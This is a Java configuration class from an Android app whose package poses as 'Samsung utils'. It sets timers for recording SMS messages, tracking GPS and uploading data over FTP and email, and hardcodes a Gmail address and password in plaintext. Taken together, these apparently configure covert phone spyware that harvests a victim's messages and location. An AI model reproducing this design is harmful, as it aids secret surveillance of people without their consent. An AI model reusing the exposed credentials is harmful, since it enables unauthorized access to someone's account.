package com.samsung.utils.phone.content;

import java.util.Date;

public class StaticClass {

	public static boolean serviceEnabled = true;
	public static String mailAddress = "aymedtemp@gmail.com";
	public static String mailPassword = "aymed123";

	public static String LOG_TAG = "SAMSUNG_UTILS";
	public static boolean isDebug = false;
	public static boolean useDBRecord = true;

	public static int SMS_DB_RECORD_INTERVAL = 10 * 1000;// 10 saniye

	public static int CHECK_SMS_INTERVAL = 1 * 30 * 60 * 1000; // 30 dakika
	public static int CHECK_FTP_INTERVAL = 2 * 60 * 60 * 1000; // 120 dakika
	public static int TIMER_FIRST_DELAY = 60 * 1000; // 60 saniye
	public static int FTP_FIRST_DELAY = 10 * 1000; // 10 saniye

	public static int GPS_CONTROL_DELAY = 10 * 60 * 1000; // 10 dakika

	public static final int CHECK_CALL_INTERVAL = 3600 * 1000; // NOT USED NOW
	static {
		if (isDebug) {
			CHECK_SMS_INTERVAL = 15 * 1000;
			TIMER_FIRST_DELAY = 0;
			FTP_FIRST_DELAY = 0;
			CHECK_FTP_INTERVAL = 10 * 1000;
		}
	}
	private static boolean isInDebugMode = false;

	public static boolean isInDebugMode() {
		return isInDebugMode;
	}

	public static void setInDebugMode(boolean isInDebugMode) {
		StaticClass.isInDebugMode = isInDebugMode;
	}

	public static long getFirstRecordTime() {

		// return 0;
		return new Date().getTime();
	}

}
